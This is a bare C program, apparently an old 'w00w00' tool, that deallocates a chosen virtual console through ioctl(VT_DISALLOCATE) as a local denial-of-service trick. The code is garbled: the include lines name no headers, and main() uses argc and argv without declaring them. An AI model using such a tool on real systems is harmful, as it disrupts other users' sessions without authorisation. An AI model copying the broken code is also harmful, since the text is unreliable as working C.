Example: #include #include #include #include #include #include #include #define ERROR -1 void main() { int fd; int tty; printf("w00w00!\n\n"); if (argc < 2) { printf("Usage: %s \n", argv[0]); printf("tty is a tty to disallocate\n\n"); exit(ERROR); } tty = atoi(argv[1]); /* used as fd for ioctl() */ if ((fd = open("/dev/tty", O_NOCTTY)) == ERROR) { perror("open"); exit(ERROR); } printf("disallocating tty%d\n", tty); if (ioctl(fd, VT_DISALLOCATE, tty) == ERROR) { perror("ioctl"); close(fd); exit(ERROR); } close(fd); }